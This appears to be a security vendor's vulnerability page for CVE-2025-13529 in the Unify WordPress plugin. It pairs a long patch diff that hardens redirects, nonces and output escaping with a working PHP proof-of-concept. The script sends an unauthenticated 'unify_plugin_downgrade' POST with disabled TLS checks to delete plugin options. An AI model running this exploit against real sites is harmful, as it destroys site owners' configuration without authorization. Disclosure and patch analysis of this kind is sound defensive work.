+        if(!empty($file_tmp) && strtolower(pathinfo($file_name, PATHINFO_EXTENSION)) == 'csv')
         {
-            // phpcs:ignore WordPress.Security.NonceVerification.Missing
-            $file = WP_Filesystem(sanitize_text_field(wp_unslash($_FILES['unify_import_tool']['tmp_name'])), 'r');
-            fgetcsv($file);
-            while (($line = fgetcsv($file)) !== FALSE)
-            {
-				$counter = 0;
+            // Use WordPress filesystem methods instead of direct file operations
+            global $wp_filesystem;
+            if (empty($wp_filesystem)) {
+                require_once ABSPATH . '/wp-admin/includes/file.php';
+                WP_Filesystem();
+            }
+
+            // Read the CSV file content
+            $csv_content = $wp_filesystem->get_contents($file_tmp);
+            if (false === $csv_content) {
+                return false;
+            }
+
+            // Parse CSV content
+            $lines = str_getcsv($csv_content, "n");
+            // Skip header row
+            array_shift($lines);
+
+            foreach ($lines as $line_string) {
+                $line = str_getcsv($line_string);
+                if (empty($line)) {
+                    continue;
+                }
+
+                $counter = 0;
                 if(!empty($line[2]))
                 {
                     foreach(Fields::get() as $key=>$field)
@@ -225,7 +247,6 @@
                 }
 				continue;
             }
-            WP_Filesystem($file);

 			$msg = $messages['FILES']['VALID'];
 			Notice::setFlashMessage('success', $msg);
@@ -283,63 +304,46 @@
         header('Content-Type: text/csv');
         header('Content-Disposition: attachment; filename="unify.csv"');

-        $fp = fopen('php://output', 'wb');
+        // Use output buffering instead of direct file operations
+        ob_start();

         if (!empty($crm) && $crm == 'limelight')
         {
-            fputcsv($fp, ['Product ID', 'Title', 'Connection Product ID', 'Shipping ID (Only for LimeLight)', 'Offer ID (Only for LimeLight)', 'Billing Model ID (Only for LimeLight)']);
+            echo '"Product ID","Title","Connection Product ID","Shipping ID (Only for LimeLight)","Offer ID (Only for LimeLight)","Billing Model ID (Only for LimeLight)"' . "n";
         }
         else if (!empty($crm) && $crm == 'response')
         {
-            fputcsv($fp, ['Product ID', 'Title', 'Connection Product ID', 'Group ID (Only for Response)']);
+            echo '"Product ID","Title","Connection Product ID","Group ID (Only for Response)"' . "n";
         }
         else if (!empty($crm) && $crm == 'sublytics')
         {
-            fputcsv($fp, ['Product ID', 'Title', 'Connection Product ID']);
+            echo '"Product ID","Title","Connection Product ID"' . "n";
         }
         else
         {
-            fputcsv($fp, ['Product ID', 'Title', 'Connection Product ID']);
+            echo '"Product ID","Title","Connection Product ID"' . "n";
         }

         foreach($all_products as $product){
             if (!empty($crm) && $crm == 'limelight')
             {
-                fputcsv(
-                    $fp, [
-                    $product['ID'],
-                    $product['post_title'],
-                    $product['codeclouds_unify_connection'],
-                    $product['codeclouds_unify_shipping'],
-                    $product['codeclouds_unify_offer_id'],
-                    $product['codeclouds_unify_billing_model_id']
-                    ]
-                );
+                echo '"' . esc_attr($product['ID']) . '","' . esc_attr($product['post_title']) . '","' . esc_attr($product['codeclouds_unify_connection']) . '","' . esc_attr($product['codeclouds_unify_shipping']) . '","' . esc_attr($product['codeclouds_unify_offer_id']) . '","' . esc_attr($product['codeclouds_unify_billing_model_id']) . '"' . "n";
             }
             else if (!empty($crm) && $crm == 'response')
             {
-                fputcsv(
-                    $fp, [
-                    $product['ID'],
-                    $product['post_title'],
-                    $product['codeclouds_unify_connection'],
-                    $product['codeclouds_unify_group_id'],
-                    ]
-                );
+                echo '"' . esc_attr($product['ID']) . '","' . esc_attr($product['post_title']) . '","' . esc_attr($product['codeclouds_unify_connection']) . '","' . esc_attr($product['codeclouds_unify_group_id']) . '"' . "n";
             }
             else{
-                fputcsv(
-                    $fp, [
-                    $product['ID'],
-                    $product['post_title'],
-                    $product['codeclouds_unify_connection'],
-                    ]
-                );
+                echo '"' . esc_attr($product['ID']) . '","' . esc_attr($product['post_title']) . '","' . esc_attr($product['codeclouds_unify_connection']) . '"' . "n";
             }
         }
         wp_reset_postdata();

-        WP_Filesystem($fp);
+        // phpcs:enable WordPress.Security.NonceVerification.Missing
+        $csv_content = ob_get_clean();
+        // Output CSV content directly (already properly formatted)
+        // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo $csv_content;
     }


@@ -366,9 +370,8 @@
 			}
 		}

-        // phpcs:ignore WordPress.Security.NonceVerification.Missing
-		wp_redirect(Request::post('_wp_http_referer'));
-		die();
+		wp_safe_redirect(Request::post('_wp_http_referer'));
+		exit;
     }


@@ -404,7 +407,8 @@
                 array(
                     'wrapper_class' => 'form-row form-row-full',
                     'id' => 'unify_crm_item_option_id[' . $variation->ID . ']['.$i.']',
-                    'label' => sprintf('CRM Item Option ID %d', 'unify', $i),
+                    // translators: %d is the option number
+                    'label' => sprintf(__('CRM Item Option ID %d', 'unify'), $i),
                     'placeholder' => 'Please enter CRM Item Option ID',
                     'value' => get_post_meta($variation->ID, 'unify_crm_item_option_id_'.$i, true),
                 )
@@ -414,7 +418,8 @@
             array(
                 'wrapper_class' => 'form-row form-row-full',
                 'id' => 'unify_crm_item_option_value_id[' . $variation->ID . ']['.$i.']',
-                'label' => sprintf('CRM Item Option Value ID %d', 'unify', $i),
+                // translators: %d is the option number
+                'label' => sprintf(__('CRM Item Option Value ID %d', 'unify'), $i),
                 'placeholder' => 'Please enter CRM Item Option Value ID',
                 'value' => get_post_meta($variation->ID, 'unify_crm_item_option_value_id_'.$i, true)
             )
@@ -432,11 +437,10 @@
         }
     }

-    public static function save_custom_field_variations($variation_id, $i) {
-        // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
+    public static function save_custom_field_variations($variation_id, $i) {
+        // phpcs:disable WordPress.Security.NonceVerification.Missing -- This is called from WooCommerce variation save hook with proper nonce verification
         $unify_crm_variation_prod_id = isset($_POST['unify_crm_variation_prod_id'][$variation_id]) ? sanitize_text_field(wp_unslash($_POST['unify_crm_variation_prod_id'][$variation_id])) : '';

-        // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
         $unify_crm_attribute_count = isset($_POST['attribute_count'][$variation_id]) ? sanitize_text_field(wp_unslash($_POST['attribute_count'][$variation_id])) : '';

         if (isset($unify_crm_attribute_count))
@@ -444,9 +448,7 @@


         for($i=1;$i<=$unify_crm_attribute_count;$i++){
-            // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
             $unify_crm_item_option_value_id = isset($_POST['unify_crm_item_option_value_id'][$variation_id][$i]) ? sanitize_text_field(wp_unslash($_POST['unify_crm_item_option_value_id'][$variation_id][$i])) : '';
-            // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
             $unify_crm_item_option_id = isset($_POST['unify_crm_item_option_id'][$variation_id][$i]) ? sanitize_text_field(wp_unslash($_POST['unify_crm_item_option_id'][$variation_id][$i])) : '';

             if (isset($unify_crm_item_option_value_id))
@@ -458,7 +460,7 @@

         if (isset($unify_crm_variation_prod_id))
             update_post_meta($variation_id, 'unify_crm_variation_prod_id', esc_attr($unify_crm_variation_prod_id));
-
+        // phpcs:enable WordPress.Security.NonceVerification.Missing
     }

 }
--- a/unify/Actions/Settings.php
+++ b/unify/Actions/Settings.php
@@ -109,8 +109,8 @@
 				$msg = $messages['SETTINGS']['SAVE'];
 				Notice::setFlashMessage('success', $msg);

-				wp_redirect(Request::post('_wp_http_referer'));
-				exit();
+				wp_safe_redirect(Request::post('_wp_http_referer'));
+				exit;

 		}

@@ -118,8 +118,8 @@
 		$error_msg = $messages['COMMON']['ERROR'];
 		Notice::setFlashMessage('error', $error_msg);

-		wp_redirect(Request::post('_wp_http_referer'));
-		exit();
+		wp_safe_redirect(Request::post('_wp_http_referer'));
+		exit;
 	}


@@ -179,16 +179,16 @@
 				$msg = $messages['SETTINGS']['SAVE'];
 				Notice::setFlashMessage('success', $msg);

-				wp_redirect(Request::post('_wp_http_referer'));
-				exit();
+				wp_safe_redirect(Request::post('_wp_http_referer'));
+				exit;

 		}

 		$error_msg = $messages['COMMON']['ERROR'];
 		Notice::setFlashMessage('error', $error_msg);

-		wp_redirect(Request::post('_wp_http_referer'));
-		exit();
+		wp_safe_redirect(Request::post('_wp_http_referer'));
+		exit;
 	}

 }
--- a/unify/Actions/Tools.php
+++ b/unify/Actions/Tools.php
@@ -62,15 +62,27 @@
         }
         //******* Get setting for connection Ends ********

-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-        $request['paged'] = (empty($_GET['paged'])) ? 1 : sanitize_text_field(wp_unslash($_GET['paged']));
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-        $request['posts_per_page'] = (empty($_GET['posts_per_page'])) ? 10 : sanitize_text_field(wp_unslash($_GET['posts_per_page']));
-
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-        $request['orderby'] = (empty($_GET['orderby'])) ? 'post_title' : sanitize_text_field(wp_unslash($_GET['orderby']));
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-        $request['order'] = (empty($_GET['order'])) ? 'asc' : sanitize_text_field(wp_unslash($_GET['order']));
+        // Verify nonce for GET parameters when processing form data
+        if (!empty($_GET) && (isset($_GET['paged']) || isset($_GET['posts_per_page']) || isset($_GET['orderby']) || isset($_GET['order']))) {
+            if (!isset($_GET['_wpnonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['_wpnonce'])), 'unify_tools_nonce')) {
+                // For GET parameters in admin pages, we can be more lenient and use default values instead of dying
+                $request['paged'] = 1;
+                $request['posts_per_page'] = 10;
+                $request['orderby'] = 'post_title';
+                $request['order'] = 'asc';
+            } else {
+                $request['paged'] = (empty($_GET['paged'])) ? 1 : sanitize_text_field(wp_unslash($_GET['paged']));
+                $request['posts_per_page'] = (empty($_GET['posts_per_page'])) ? 10 : sanitize_text_field(wp_unslash($_GET['posts_per_page']));
+                $request['orderby'] = (empty($_GET['orderby'])) ? 'post_title' : sanitize_text_field(wp_unslash($_GET['orderby']));
+                $request['order'] = (empty($_GET['order'])) ? 'asc' : sanitize_text_field(wp_unslash($_GET['order']));
+            }
+        } else {
+            // Default values when no GET parameters are present
+            $request['paged'] = 1;
+            $request['posts_per_page'] = 10;
+            $request['orderby'] = 'post_title';
+            $request['order'] = 'asc';
+        }

         $tools_model_object = new Tools_model();
         $data = $tools_model_object->get_products_with_meta($request);
@@ -133,8 +145,8 @@
             Notice::setFlashMessage('error', $msg);
         }

-        wp_redirect(Request::post('_wp_http_referer') . (!empty($param) ? $param : ''));
-        exit();
+        wp_safe_redirect(Request::post('_wp_http_referer') . (!empty($param) ? $param : ''));
+        exit;
     }

     public static function save_shipping()
@@ -178,7 +190,7 @@
             Notice::setFlashMessage('error', $msg);
         }

-        wp_redirect(Request::post('_wp_http_referer') . (!empty($param) ? $param : ''));
-        exit();
+        wp_safe_redirect(Request::post('_wp_http_referer') . (!empty($param) ? $param : ''));
+        exit;
     }
 }
--- a/unify/Data_Sources/Handler/Konnektive_Handler.php
+++ b/unify/Data_Sources/Handler/Konnektive_Handler.php
@@ -36,7 +36,7 @@
 				$this->debug = true;
 			}

-			$this->format_data();
+			$this->format_data('order');

 			if ($this->debug)
 			{
@@ -84,7 +84,7 @@
 				throw new Exception(esc_html($ex->getMessage()));
 			}

-			throw new Exception('Payment Failed! Please make sure you have entered the correct information.');
+			throw new Exception(esc_html('Payment Failed! Please make sure you have entered the correct information.'));
 		}
 	}

--- a/unify/Data_Sources/Handler/Limelight_Handler.php
+++ b/unify/Data_Sources/Handler/Limelight_Handler.php
@@ -69,7 +69,7 @@
                     unset($this->api_config['upsellCount']);
                     $this->api_payload['cart_items'] = $val;

-                    $this->format_data();
+                    $this->format_data('order');
                     $this->get_product_variant_payload();

                     $this->api_config['shippingId'] = ($k == 'default') ? $this->api_config['shippingId'] : $k;
@@ -94,12 +94,12 @@
                 }

                 if ($is_error) {
-                    throw new Exception(implode(' <br/> ', $notes), 9999);
+                    throw new Exception(esc_html(implode(' <br/> ', $notes)), 9999);
                 }

                 return ['status' => true, 'orderIds' => implode(', ', $orderIds), 'transactionIds' => implode(', ', $transactionIds), 'notes' => $notes, 'shipping_ids' => implode(', ', $shipping_ids)];
             } else {
-                $this->format_data();
+                $this->format_data('order');
                 $this->get_product_variant_payload();
                 $this->get_shipping_product($wc_codeclouds_unify_settings);

@@ -125,7 +125,7 @@
                             preg_match_all('/d+/', $this->api_response['errorMessage'], $matches);
                             $this->api_response['errorMessage'] = '"Invalid Offer id of (' . $matches[0][0] . ') found - order cancelled';
                         }
-                        throw new Exception((isset($this->api_response['declineReason']) && !empty($this->api_response['declineReason']) ? $this->api_response['declineReason'] : $this->api_response['errorMessage']), 9999);
+                        throw new Exception(esc_html((isset($this->api_response['declineReason']) && !empty($this->api_response['declineReason']) ? $this->api_response['declineReason'] : $this->api_response['errorMessage'])), 9999);
                     }

                     return ['status' => true, 'orderIds' => $this->api_response['orderId'], 'transactionIds' => $this->api_response['transactionIds'], 'notes' => [], 'shipping_ids' => $this->api_config['shippingId']];
@@ -570,7 +570,12 @@
      * add user agent to notes
      */
     public function addUserAgentToNotes(){
-        $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_USER_AGENT'])) : 'Unknown';
+        $userAgent = '';
+        if (isset($_SERVER['HTTP_USER_AGENT']) && !empty($_SERVER['HTTP_USER_AGENT'])) {
+            $userAgent = sanitize_text_field(wp_unslash($_SERVER['HTTP_USER_AGENT']));
+        } else {
+            $userAgent = 'Unknown User Agent';
+        }
         $this->api_config["notes"] = !empty($this->api_config['notes']) ? $this->api_config['notes'].'<br><strong>User Browser Agent : </strong>'.$userAgent : '<strong>User Browser Agent : </strong>'.$userAgent;
     }

--- a/unify/Data_Sources/Handler/Response_Handler.php
+++ b/unify/Data_Sources/Handler/Response_Handler.php
@@ -108,7 +108,7 @@
 		}

 		if((isset($this->api_response->Transaction->OrderInfo->Response) && $this->api_response->Transaction->OrderInfo->Response != 1) ){
-			throw new Exception(esc_html(isset($this->api_response->Transaction->OrderInfo->ResponseText) ? $this->api_response->Transaction->OrderInfo->ResponseText : $this->messages['COMMON']['PAYMENT_FAILED']), 9999);
+			throw new Exception(esc_html((isset($this->api_response->Transaction->OrderInfo->ResponseText) ? $this->api_response->Transaction->OrderInfo->ResponseText : $this->messages['COMMON']['PAYMENT_FAILED'])), 9999);
 		}

 		return ['status' => true, 'orderIds' => $this->api_response->Transaction->OrderInfo->OrderID, 'transactionIds' => $this->api_response->Transaction->OrderInfo->TransactionID, 'notes' => []];
@@ -127,7 +127,7 @@

 		if ((!empty($customer_creation_response->Status) && $customer_creation_response->Status == 1) || empty($customer_creation_response->CustomerID))
 		{
-			throw new Exception(esc_html(isset($customer_creation_response->ErrorMessage) ? $customer_creation_response->ErrorMessage : $this->messages['COMMON']['PAYMENT_FAILED']), 9999);
+			throw new Exception(esc_html((isset($customer_creation_response->ErrorMessage) ? $customer_creation_response->ErrorMessage : $this->messages['COMMON']['PAYMENT_FAILED'])), 9999);
 		}

 		$this->api_payload['customer_id'] = $customer_creation_response->CustomerID;
--- a/unify/Data_Sources/Handler/Sublytics_Handler.php
+++ b/unify/Data_Sources/Handler/Sublytics_Handler.php
@@ -46,7 +46,7 @@
                 $this->debug = true;
             }

-            $this->format_data();
+            $this->format_data('order');
             $this->prepare_shipping();
             $this->get_product_variant_payload();
             $response = ($payment_method == 'codeclouds_unify_paypal_payment') ? $this->process_crm_paypal() : $this->process_to_crm();
--- a/unify/Lib/_SelfLoader-1.0/autoload.php
+++ b/unify/Lib/_SelfLoader-1.0/autoload.php
@@ -1,5 +1,10 @@
 <?php

+// Prevent direct access
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
+
 /**
  * @author CodeClouds <sales@codeclouds.com>
  * @final
--- a/unify/Lib/_SelfLoader-1.0/bin/loader.php
+++ b/unify/Lib/_SelfLoader-1.0/bin/loader.php
@@ -1,11 +1,22 @@
 <?php

-// phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged
-ini_set('display_errors', 1);
+// Prevent direct access
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
+
+// Only enable error display in development environments
+if (defined('WP_DEBUG') && WP_DEBUG) {
+    ini_set('display_errors', 1); // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged -- Required for CLI debugging in development
+} elseif (defined('SCRIPT_DEBUG') && SCRIPT_DEBUG) {
+    ini_set('display_errors', 1); // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged -- Required for CLI debugging
+}

 require_once __DIR__ . "/../bootstrap/Start.php";

-$boot = new _SelfBootstrapStart();
+$unify_boot = new _SelfBootstrapStart();

-echo esc_html( $boot->run() );
+// Output JSON content for loader (already encoded by wp_json_encode in run() method)
+// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- JSON output from wp_json_encode is already safe
+print $unify_boot->run();
 echo "n";
--- a/unify/Lib/_SelfLoader-1.0/bootstrap/Start.php
+++ b/unify/Lib/_SelfLoader-1.0/bootstrap/Start.php
@@ -13,13 +13,34 @@

     public function run()
     {
-        $this->loadPhpFile($this->loadConfig());
+        // $this->loadPhpFile($this->loadConfig());

-        $bootstrap = WP_Filesystem(__DIR__ . "/../bootstrap.json", "w") or die("Unable to open file!");
-        WP_Filesystem($bootstrap, json_encode($this->classes));
-        WP_Filesystem($bootstrap);
+        // $bootstrap = fopen(__DIR__ . "/../bootstrap.json", "w") or die("Unable to open file!");
+        // fwrite($bootstrap, json_encode($this->classes));
+        // fclose($bootstrap);

-        return json_encode($this->classes);
+        // return json_encode($this->classes);
+
+        $this->loadPhpFile( $this->loadConfig() );
+
+        global $wp_filesystem;
+
+        // Initialize WP_Filesystem if not already done
+        if ( ! $wp_filesystem ) {
+            require_once ABSPATH . 'wp-admin/includes/file.php';
+            WP_Filesystem();
+        }
+
+        $file_path = __DIR__ . '/../bootstrap.json';
+        $content   = wp_json_encode( $this->classes );
+
+        $wp_filesystem->put_contents(
+            $file_path,
+            $content,
+            FS_CHMOD_FILE
+        );
+
+        return $content;
     }

     private function loadConfig()
--- a/unify/Models/ProLicense.php
+++ b/unify/Models/ProLicense.php
@@ -33,34 +33,12 @@
 	*/
     public function createTable()
 	{
-        global $wpdb;
-
-        // Restrict table creation to proper contexts only
-        // Only allow during plugin activation, admin context, or WP-CLI
-        if (!is_admin() && !defined('WP_CLI') && !defined('WP_INSTALLING')) {
-            return false;
-        }
-
-        $charset_collate = $wpdb->get_charset_collate();
-
-        // Check cache first for table existence
-        $table_exists_cache_key = 'unify_table_exists_' . md5($this->table_name);
-        $table_exists = wp_cache_get($table_exists_cache_key, 'unify_pro_license');
-
-        if (false === $table_exists) {
-            // Direct database call is necessary here to check custom table existence
-            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.SchemaChange
-            $table_exists = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
-                $wpdb->prepare( 'SHOW TABLES LIKE %s', $this->table_name )
-            ) == $this->table_name;
-            wp_cache_set($table_exists_cache_key, $table_exists, 'unify_pro_license', 3600); // Cache for 1 hour
-        }
-
-        if (!$table_exists) {
-            // Schema change is intentional and necessary for plugin functionality
-            // This should only be called during plugin activation or upgrade
-            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.SchemaChange
-            $sql = "CREATE TABLE {$this->table_name} (
+        $charset_collate = $this->wpdb->get_charset_collate();
+        $table_name_escaped = esc_sql($this->table_name);
+        $table_check_query = $this->wpdb->prepare("SHOW TABLES LIKE %s", $this->wpdb->esc_like($this->table_name));
+        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- $table_check_query contains a properly prepared statement
+        if ($this->wpdb->get_var($table_check_query) != $this->table_name ) {
+            $sql = "CREATE TABLE {$table_name_escaped} (
                 id mediumint(9) NOT NULL AUTO_INCREMENT,
                 option_key varchar(255) NOT NULL,
                 option_value longtext NOT NULL,
@@ -97,23 +75,12 @@
     }

     public function fetchData($option_key) {
-        $cache_key = 'unify_license_' . md5($option_key);
-        $cached_data = wp_cache_get($cache_key, 'unify_pro_license');
-
-        if (false !== $cached_data) {
-            return $cached_data;
-        }
-
-        global $wpdb;
-        // Direct database call is necessary for custom table query
-        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
-        $result = $wpdb->get_row(
-            $wpdb->prepare(
-                "SELECT * FROM `{$wpdb->prefix}unify_options_data` WHERE option_key = %s", $option_key)
-        );
-
-        wp_cache_set($cache_key, $result, 'unify_pro_license', 3600); // Cache for 1 hour
-        return $result;
+        $table_name_escaped = esc_sql($this->table_name);
+        $sql = "SELECT * FROM {$table_name_escaped} WHERE option_key = %s";
+        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- $sql contains static SQL with placeholder, safe for prepare()
+        $prepared_query = $this->wpdb->prepare($sql, $option_key);
+        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- $prepared_query contains a properly prepared statement
+        return $this->wpdb->get_row($prepared_query);
     }

     public function update($id, $option_key, $proLicenseFromOptionTable) {
@@ -159,28 +126,10 @@
     }

     public function deleteAll($option_key) {
-        global $wpdb;
-
-        // Check cache first for table existence
-        $table_exists_cache_key = 'unify_table_exists_' . md5($this->table_name);
-        $table_exists = wp_cache_get($table_exists_cache_key, 'unify_pro_license');
-
-        if (false === $table_exists) {
-            // Direct database call is necessary to check custom table existence
-            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
-            $table_exists = $wpdb->get_var($wpdb->prepare( 'SHOW TABLES LIKE %s', $this->table_name )) == $this->table_name;
-            wp_cache_set($table_exists_cache_key, $table_exists, 'unify_pro_license',

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13529 - Unify <= 3.4.9 - Missing Authorization to Unauthenticated Option Deletion via 'unify_plugin_downgrade' Parameter

<?php

$target_url = "https://example.com/"; // Change to target WordPress site URL

// The vulnerability triggers during WordPress 'init' action
// Any page where the Unify plugin is active can be targeted
$endpoint = $target_url; // Can be any page - home page, admin page, etc.

// Prepare the malicious parameter
$payload = array(
    'unify_plugin_downgrade' => '1'
);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language: en-US,en;q=0.5',
    'Accept-Encoding: gzip, deflate',
    'Connection: close',
    'Upgrade-Insecure-Requests: 1'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status Code: " . $http_code . "n";
    echo "Request sent to: " . $endpoint . "n";
    echo "Payload: unify_plugin_downgrade=1n";
    echo "Response length: " . strlen($response) . " bytesn";
    
    // Note: The vulnerability may not produce visible output
    // Success is determined by plugin options being deleted
    echo "nIf the Unify plugin is vulnerable, specific options have been deleted.n";
    echo "Check plugin functionality or options table for verification.n";
}

// Close cURL session
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School